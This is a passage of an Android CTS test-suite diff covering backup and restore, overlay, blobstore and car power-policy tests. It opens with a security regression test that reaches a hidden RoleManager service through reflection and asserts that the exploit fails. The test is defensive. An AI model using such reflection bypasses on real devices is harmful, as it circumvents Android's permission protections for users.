+            final RoleManager roleManager = context.getSystemService(RoleManager.class);
+            final Field serviceField = roleManager.getClass().getDeclaredField("mService");
+            serviceField.setAccessible(true);
+            final Object roleService = serviceField.get(roleManager);
+            final String getSmsRoleHolderMethodName = Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+                    ? "getSmsRoleHolder" : "getDefaultSmsPackage";
+            final Method getSmsRoleHolderMethod = roleService.getClass().getMethod(
+                    getSmsRoleHolderMethodName, int.class);
+            getSmsRoleHolderMethod.invoke(roleService, UserHandle.USER_SYSTEM);
+            exploitSuccessful = true;
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        assertFalse("Exploit succeeded", exploitSuccessful);
+    }
+
+    private Instrumentation getInstrumentation() {
+        return mInstrumentation;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
index 79f9796..aba5c12 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
@@ -43,6 +43,21 @@
 }
 
 android_test_helper_app {
+    name: "CtsOverlayPolicyAllHasCode",
+    defaults: ["cts_support_defaults"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "current",
+    certificate: ":cts-testkey1",
+    srcs: [
+        "rro_src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsOverlayPolicyAllNoName",
     defaults: ["cts_support_defaults"],
     manifest: "AndroidManifestNoName.xml",
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/AndroidManifestHasCode.xml b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/AndroidManifestHasCode.xml
new file mode 100644
index 0000000..65a62a5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/AndroidManifestHasCode.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.overlay.all">
+    <overlay android:targetPackage="com.android.cts.overlay.target"
+        android:targetName="Testing"/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/rro_src/com/android/cts/overlay/all/InjectedOverlay.java b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/rro_src/com/android/cts/overlay/all/InjectedOverlay.java
new file mode 100644
index 0000000..24aa6f9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/rro_src/com/android/cts/overlay/all/InjectedOverlay.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.overlay.all;
+
+/**
+ * Used in {@link com.android.cts.overlay.app.OverlayableTest} to ensure overlay code cannot be
+ * loaded within the application targeted by the overlay.
+ **/
+public class InjectedOverlay {
+}
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
index dbe7c0a..37916a1 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/src/com/android/cts/overlay/app/OverlayableTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.overlay.app;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
@@ -25,6 +26,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import java.io.InputStreamReader;
+import java.util.Objects;
 import java.util.concurrent.Executor;
 import java.util.concurrent.FutureTask;
 import java.util.concurrent.TimeUnit;
@@ -112,6 +114,19 @@
     }
 
     @Test
+    public void testOverlayCodeNotLoaded() throws Exception {
+        assertOverlayEnabled(POLICY_ALL_PACKAGE);
+        Context context = getTargetContext();
+
+        String result = context.getResources().getString(R.string.policy_public);
+        assertEquals(OVERLAID, result);
+
+        final String overlayClassName = "com.android.cts.overlay.all.InjectedOverlay";
+        assertThrows(ClassNotFoundException.class, () -> Objects.requireNonNull(
+                getClass().getClassLoader()).loadClass(overlayClassName));
+    }
+
+    @Test
     public void testSameSignatureNoOverlayableSucceeds() throws Exception {
         assertOverlayEnabled(POLICY_ALL_PACKAGE);
         Context context = getTargetContext();
diff --git a/hostsidetests/atrace/AndroidTest.xml b/hostsidetests/atrace/AndroidTest.xml
index 8ccd256..3297bcd 100644
--- a/hostsidetests/atrace/AndroidTest.xml
+++ b/hostsidetests/atrace/AndroidTest.xml
@@ -23,6 +23,7 @@
         <!-- Disable package verifier as it is flaky. -->
         <option name="set-global-setting" key="verifier_verify_adb_installs" value="0" />
         <option name="restore-settings" value="true" />
+        <option name="force-skip-system-props" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAtraceHostTestCases.jar" />
diff --git a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
index 6bbaea8..94eb2f1 100644
--- a/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
+++ b/hostsidetests/backup/RestoreSessionTest/src/android/cts/backup/restoresessionapp/RestoreSessionTest.java
@@ -57,10 +57,9 @@
     private static final String[] PACKAGES = new String[] {
         "android.cts.backup.restoresessionapp1",
         "android.cts.backup.restoresessionapp2",
-        "android.cts.backup.restoresessionapp3"
     };
 
-    private static final int PACKAGES_COUNT = 3;
+    private static final int PACKAGES_COUNT = 2;
     private static final int RESTORE_TIMEOUT_SECONDS = 10;
 
     private BackupManager mBackupManager;
@@ -148,7 +147,6 @@
      * Restore packages added to mRestorePackages and verify only those packages are restored. Use
      * {@link RestoreSession#restorePackage(String, RestoreObserver)}
      */
-
     @Test
     public void testRestorePackage() throws InterruptedException {
         initPackagesToRestore(/* packagesCount */ 1);
@@ -180,7 +178,7 @@
      */
     @Test
     public void testRestorePackages() throws InterruptedException {
-        initPackagesToRestore(/* packagesCount */ 2);
+        initPackagesToRestore(/* packagesCount */ 1);
         testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
             mRestoreSession.restorePackages(
                 mRestoreToken,
@@ -195,7 +193,7 @@
      */
     @Test
     public void testRestorePackagesWithMonitorParam() throws InterruptedException {
-        initPackagesToRestore(/* packagesCount */ 2);
+        initPackagesToRestore(/* packagesCount */ 1);
         testRestorePackagesInternal((BackupManagerMonitor monitor) -> {
             mRestoreSession.restorePackages(
                 mRestoreToken,
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
index e2071f3..5706063 100644
--- a/hostsidetests/backup/restoresessionapp1/Android.bp
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -27,6 +27,7 @@
     srcs: [
         "src/**/*.java"
     ],
+    v4_signature: true,
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
index eb82929..a724468 100644
--- a/hostsidetests/backup/restoresessionapp2/Android.bp
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -27,6 +27,7 @@
     srcs: [
         "src/**/*.java"
     ],
+    v4_signature: true,
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
deleted file mode 100644
index 16a5aff..0000000
--- a/hostsidetests/backup/restoresessionapp3/Android.bp
+++ /dev/null
@@ -1,36 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsRestoreSessionApp3",
-    defaults: ["cts_defaults"],
-    static_libs: [
-        "androidx.test.rules",
-        "truth-prebuilt",
-        "CtsRestoreSessionApp",
-    ],
-    srcs: [
-        "src/**/*.java"
-    ],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "system_current",
-}
diff --git a/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml b/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml
deleted file mode 100644
index 027cf68..0000000
--- a/hostsidetests/backup/restoresessionapp3/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2018 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the Licensea
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.restoresessionapp3">
-
-    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="26"/>
-
-    <application
-        android:label="RestoreSessionApp"
-        android:allowBackup="true"/>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.restoresessionapp3" />
-</manifest>
diff --git a/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java b/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java
deleted file mode 100644
index b034e1a..0000000
--- a/hostsidetests/backup/restoresessionapp3/src/android/cts/backup/restoresessionapp3/RestoreSessionAppTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2019 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.backup.restoresessionapp3;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import android.cts.backup.restoresessionapp.BaseRestoreSessionAppTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Device side routines to be invoked by the host side RestoreSessionHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- */
-@RunWith(AndroidJUnit4.class)
-public class RestoreSessionAppTest extends BaseRestoreSessionAppTest {
-    private static final String SHARED_PREFERENCES_KEY = "test_key_3";
-    private static final int SHARED_PREFERENCES_VALUE = 125;
-
-    @Test
-    public void testClearSharedPrefs() {
-        clearSharedPrefs();
-    }
-
-    @Test
-    public void testCheckSharedPrefsDontExist() {
-        checkSharedPrefsDontExist(SHARED_PREFERENCES_KEY);
-    }
-
-    @Test
-    public void testSaveValuesToSharedPrefs() {
-        saveValuesToSharedPrefs(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
-    }
-
-    @Test
-    public void testCheckSharedPrefsExist() {
-        checkSharedPrefsExist(SHARED_PREFERENCES_KEY, SHARED_PREFERENCES_VALUE);
-    }
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
index 7993030..162a070 100644
--- a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
@@ -24,11 +24,14 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.File;
+
 /**
  * Test verifying backup eligibility rules are respected.
  *
@@ -60,6 +63,7 @@
             ADB_BACKUP_APP_NAME + ".AdbBackupApp";
     private static final String BACKUP_RESTORE_CONFIRMATION_PACKAGE = "com.android.backupconfirm";
     private static final String ADB_BACKUP_FILE = "adb_backup_file.ab";
+    private static final String TEMP_DIR = "backup_eligibility_test_tmp";
 
     /** The name of the APK of the app that has allowBackup=false in the manifest */
     private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
@@ -173,13 +177,22 @@
     private void runAdbBackupAndRestore() throws Exception {
         installPackage(ADB_BACKUP_APP_APK, "-d", "-r");
 
+        File tempDir = null;
         try {
             // Generate the files that are going to be backed up.
             checkBackupEligibilityDeviceTest("createFiles");
-            runAdbCommand("backup", "-f", ADB_BACKUP_FILE, BACKUP_ELIGIBILITY_APP_NAME);
+
+            // Create a temp dir on the host for adb backup output.
+            tempDir = FileUtil.createTempDir(TEMP_DIR);
+            String backupFileName = new File(tempDir, ADB_BACKUP_FILE).getAbsolutePath();
+            runAdbCommand("backup", "-f", backupFileName, BACKUP_ELIGIBILITY_APP_NAME);
+
             checkBackupEligibilityDeviceTest("deleteFilesAndAssertNoneExist");
-            runAdbCommand("restore", ADB_BACKUP_FILE);
+            runAdbCommand("restore", backupFileName);
         } finally {
+            if (tempDir != null) {
+                FileUtil.recursiveDelete(tempDir);
+            }
             assertNull(uninstallPackage(ADB_BACKUP_APP_NAME));
         }
     }
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
index 95d3b9a..5701771 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreSessionHostSideTest.java
@@ -17,27 +17,39 @@
 package android.cts.backup;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.BackupUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.DeviceParameterizedRunner;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.RunUtil;
 
+import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Optional;
 
+import junitparams.Parameters;
+
 /**
  * Tests for system APIs in {@link RestoreSession}
  *
  * <p>These tests use the local transport.
  */
-@RunWith(DeviceJUnit4ClassRunner.class)
+@RunWith(DeviceParameterizedRunner.class)
 @AppModeFull
 public class RestoreSessionHostSideTest extends BaseBackupHostSideTest {
     private static final int USER_SYSTEM = 0;
@@ -48,11 +60,19 @@
 
     private static final String TEST_APP_PKG_PREFIX = "android.cts.backup.restoresessionapp";
     private static final String TEST_APP_APK_PREFIX = "CtsRestoreSessionApp";
-    private static final int TEST_APPS_COUNT = 3;
+    private static final int TEST_APPS_COUNT = 2;
 
     private Optional<String> mOldTransport = Optional.empty();
     private BackupUtils mBackupUtils;
 
+    private static final boolean INCREMENTAL = true;
+    private static final boolean NON_INCREMENTAL = false;
+
+    private static final Object[] bothInstallTypes() {
+        // Non-Incremental and Incremental.
+        return new Boolean[][]{{NON_INCREMENTAL}, {INCREMENTAL}};
+    }
+
     /** Switch to local transport. */
     @Before
     public void setUp() throws Exception {
@@ -74,32 +94,38 @@
 
     /** Test {@link RestoreSession#restorePackage(RestoreObserver, String)} */
     @Test
-    public void testRestorePackage() throws Exception {
-        testRestorePackagesInternal("testRestorePackage", /* packagesToRestore */ 1);
+    @Parameters(method = "bothInstallTypes")
+    public void testRestorePackage(boolean incremental) throws Exception {
+        testRestorePackagesInternal("testRestorePackage", /* packagesToRestore */
+                1, /* incremental */incremental);
     }
 
     /**
      * Test {@link RestoreSession#restorePackage(RestoreObserver, String, BackupManagerMonitor)}
      */
     @Test
-    public void testRestorePackageWithMonitorParam() throws Exception {
-        testRestorePackagesInternal("testRestorePackageWithMonitorParam",
-                /* packagesToRestore */ 1);
+    @Parameters(method = "bothInstallTypes")
+    public void testRestorePackageWithMonitorParam(boolean incremental) throws Exception {
+        testRestorePackagesInternal("testRestorePackageWithMonitorParam", /* packagesToRestore */
+                1, /* incremental */incremental);
     }
 
     /** Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set)} */
     @Test
-    public void testRestorePackages() throws Exception {
-        testRestorePackagesInternal("testRestorePackages", /* packagesToRestore */ 2);
+    @Parameters(method = "bothInstallTypes")
+    public void testRestorePackages(boolean incremental) throws Exception {
+        testRestorePackagesInternal("testRestorePackages", /* packagesToRestore */
+                1, /* incremental */incremental);
     }
 
     /**
      * Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set, BackupManagerMonitor)}
      */
     @Test
-    public void testRestorePackagesWithMonitorParam() throws Exception {
-        testRestorePackagesInternal("testRestorePackagesWithMonitorParam",
-                /* packagesToRestore */ 2);
+    @Parameters(method = "bothInstallTypes")
+    public void testRestorePackagesWithMonitorParam(boolean incremental) throws Exception {
+        testRestorePackagesInternal("testRestorePackagesWithMonitorParam", /* packagesToRestore */
+                1, /* incremental */incremental);
     }
 
     /**
@@ -114,11 +140,10 @@
      *   <li>Verify that shared preferences for the restored packages are restored correctly
      * </ol>
      */
-    private void testRestorePackagesInternal(String deviceTestName, int numPackagesToRestore)
-            throws Exception {
-        installPackage(getApkNameForTestApp(1));
-        installPackage(getApkNameForTestApp(2));
-        installPackage(getApkNameForTestApp(3));
+    private void testRestorePackagesInternal(String deviceTestName, int numPackagesToRestore,
+            boolean incremental) throws Exception {
+        installPackage(getApkNameForTestApp(1), incremental);
+        installPackage(getApkNameForTestApp(2), incremental);
 
         // Write test values to shared preferences for all test packages.
         checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
@@ -127,7 +152,6 @@
         // Backup all test packages.
         mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(1));
         mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(2));
-        mBackupUtils.backupNowAndAssertSuccess(getPackageNameForTestApp(3));
 
         // Clear shared preferences for all test packages.
         checkRestoreSessionDeviceTestForAllApps("testClearSharedPrefs");
@@ -148,7 +172,6 @@
 
         uninstallPackage(getPackageNameForTestApp(1));
         uninstallPackage(getPackageNameForTestApp(2));
-        uninstallPackage(getPackageNameForTestApp(3));
     }
 
     /** Run the given device test for all test apps. */
@@ -185,4 +208,45 @@
     private String setBackupTransport(String transport) throws IOException {
         return mBackupUtils.setBackupTransportForUser(transport, USER_SYSTEM);
     }
+
+    private void installPackage(String apkFileName, boolean incremental) throws Exception {
+        if (!incremental) {
+            super.installPackage(apkFileName);
+            return;
+        }
+
+        assumeTrue(hasIncrementalFeature());
+        String result = installWithAdb(apkFileName);
+        assumeTrue(result, !result.contains("Unknown option --incremental"));
+        assertTrue(result, result.contains("Success"));
+    }
+
+    private String installWithAdb(String apkFileName) throws Exception {
+        final long DEFAULT_TEST_TIMEOUT_MS = 60 * 1000L;
+
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+
+        List<String> adbCmd = new ArrayList<>();
+        adbCmd.add("adb");
+        adbCmd.add("-s");
+        adbCmd.add(getDevice().getSerialNumber());
+        adbCmd.add("install");
+        adbCmd.add("--incremental");
+        adbCmd.add(buildHelper.getTestFile(apkFileName).getAbsolutePath());
+
+        // Using runUtil instead of executeAdbCommand() because the latter doesn't provide the
+        // option to get stderr or redirect stderr to stdout.
+        File outFile = FileUtil.createTempFile("stdoutredirect", ".txt");
+        OutputStream stdout = new FileOutputStream(outFile);
+        RunUtil runUtil = new RunUtil();
+        runUtil.setRedirectStderrToStdout(true);
+        runUtil.runTimedCmd(DEFAULT_TEST_TIMEOUT_MS, stdout, /* stderr= */ null,
+                adbCmd.toArray(new String[adbCmd.size()]));
+        return FileUtil.readStringFromFile(outFile);
+    }
+
+    private boolean hasIncrementalFeature() throws Exception {
+        return "true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery"));
+    }
 }
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index 30f03d5..fc355af 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 import com.android.tradefed.util.Pair;
@@ -93,8 +94,8 @@
         getDevice().reboot(); // reboot() waits for device available
     }
 
-    protected boolean isMultiUserSupported() throws Exception {
-        return getDevice().isMultiUserSupported();
+    protected static boolean isMultiUserSupported(ITestDevice device) throws Exception {
+        return device.isMultiUserSupported();
     }
 
     protected Map<String, String> createArgsFromLastTestRun() {
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index 60907c9..ec13654 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -19,10 +19,12 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import com.android.tradefed.invoker.TestInformation;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.AfterClassWithInfo;
+import com.android.tradefed.testtype.junit4.BeforeClassWithInfo;
 import com.android.tradefed.util.Pair;
 
-import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -33,18 +35,21 @@
 public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
     private static final String TEST_CLASS = TARGET_PKG + ".DataCleanupTest";
 
-    private int mPrimaryUserId;
-    private int mSecondaryUserId;
+    private static int mPrimaryUserId;
+    private static int mSecondaryUserId;
+
+    @BeforeClassWithInfo
+    public static void setUpClass(TestInformation testInfo) throws Exception {
+        assumeTrue("Multi-user is not supported on this device",
+                isMultiUserSupported(testInfo.getDevice()));
+
+        mPrimaryUserId = testInfo.getDevice().getPrimaryUserId();
+        mSecondaryUserId = testInfo.getDevice().createUser("Test_User");
+        assertThat(testInfo.getDevice().startUser(mSecondaryUserId)).isTrue();
+    }
 
     @Before
     public void setUp() throws Exception {
-        assumeTrue("Multi-user is not supported on this device",
-                isMultiUserSupported());
-
-        mPrimaryUserId = getDevice().getPrimaryUserId();
-        mSecondaryUserId = getDevice().createUser("Test_User");
-        assertThat(getDevice().startUser(mSecondaryUserId)).isTrue();
-
         for (String apk : new String[] {TARGET_APK, TARGET_APK_DEV}) {
             installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t");
             installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t");
@@ -55,10 +60,10 @@
         installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mSecondaryUserId);
     }
 
-    @After
-    public void tearDown() throws Exception {
+    @AfterClassWithInfo
+    public static void tearDownClass(TestInformation testInfo) throws Exception {
         if (mSecondaryUserId > 0) {
-            getDevice().removeUser(mSecondaryUserId);
+            testInfo.getDevice().removeUser(mSecondaryUserId);
         }
     }
 
diff --git a/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
index fe94c46..e511337 100644
--- a/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
@@ -34,6 +34,7 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -68,6 +69,10 @@
         String teststep;
         PowerPolicyTestHelper testHelper;
 
+        SilentModeInfo smInfo = getSilentModeInfo();
+        Assume.assumeTrue("HW does not support silent mode. Skip the test",
+                smInfo.getMonitoringHWStateSignal());
+
         teststep = "switch to forced silent";
         enterForcedSilentMode();
         testHelper = getTestHelper(testcase, 1, teststep);
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java b/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
index 9dba80b..5a3e46f 100644
--- a/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/SilentModeInfo.java
@@ -16,7 +16,7 @@
 
 package android.car.cts.powerpolicy;
 
-import java.util.Arrays;
+import java.util.Objects;
 
 public final class SilentModeInfo {
     private static final String[] ATTR_HEADERS = {"Monitoring HW state signal",
@@ -27,21 +27,22 @@
     public static final SilentModeInfo NO_SILENT = new SilentModeInfo(true, false, false);
     public static final SilentModeInfo FORCED_SILENT = new SilentModeInfo(false, true, true);
 
-    private final boolean[] mAttrs;
+    private final boolean mForcedSilentMode;
+    private final boolean mMonitoringHWStateSignal;
+    private final boolean mSilentModeByHWStateSignal;
 
     private SilentModeInfo(boolean monitoring, boolean byHW, boolean forced) {
-        mAttrs = new boolean[] {monitoring, byHW, forced};
-    }
-
-    private SilentModeInfo(boolean[] attrs) throws Exception {
-        if (attrs.length != NUMBER_OF_ATTRS) {
-            throw new IllegalArgumentException("attrs.length must be 3");
-        }
-        mAttrs = attrs;
+        mMonitoringHWStateSignal = monitoring;
+        mSilentModeByHWStateSignal = byHW;
+        mForcedSilentMode = forced;
     }
 
     public boolean getForcedSilentMode() {
-        return mAttrs[2];
+        return mForcedSilentMode;
+    }
+
+    public boolean getMonitoringHWStateSignal() {
+        return mMonitoringHWStateSignal;
     }
 
     @Override
@@ -49,17 +50,21 @@
         if (this == o) return true;
         if (o == null || getClass() != o.getClass()) return false;
         SilentModeInfo that = (SilentModeInfo) o;
-        return Arrays.equals(mAttrs, that.mAttrs);
+        return mMonitoringHWStateSignal == that.mMonitoringHWStateSignal
+                && mSilentModeByHWStateSignal == that.mSilentModeByHWStateSignal
+                && mForcedSilentMode == that.mForcedSilentMode;
     }
 
     @Override
     public int hashCode() {
-        return Arrays.hashCode(mAttrs);
+        return Objects.hash(mMonitoringHWStateSignal,
+                mSilentModeByHWStateSignal, mForcedSilentMode);
     }
 
     @Override
     public String toString() {
-        return Arrays.toString(mAttrs);
+        return String.format("SilentModeInfo: %b, %b, %b", mMonitoringHWStateSignal,
+                mSilentModeByHWStateSignal, mForcedSilentMode);
     }
 
     public static SilentModeInfo parse(String cmdOutput) throws Exception {
@@ -70,17 +75,27 @@
             throw new IllegalArgumentException(
                     "SilentModeQueryResult.parse(): malformatted cmd output: " + cmdOutput);
         }
-        for (int idx = 0; idx < SilentModeInfo.ATTR_HEADERS.length; idx++) {
+        for (int idx = 0; idx < ATTR_HEADERS.length; idx++) {
             String[] tokens = lines[idx].trim().split(":");
-            if (tokens.length != 2
-                    || !tokens[0].contains(SilentModeInfo.ATTR_HEADERS[idx])) {
+            if (tokens.length != 2) {
                 throw new IllegalArgumentException(
                         "SilentModeQueryResult.parse(): malformatted attr line: " + lines[idx]);
             }
-            attrs[idx] = Boolean.parseBoolean(tokens[1].trim());
+            int hdrIdx;
+            String hdr = tokens[0];
+            String val = tokens[1];
+            for (hdrIdx = 0; hdrIdx < ATTR_HEADERS.length; hdrIdx++) {
+                if (hdr.contains(ATTR_HEADERS[hdrIdx])) {
+                    break;
+                }
+            }
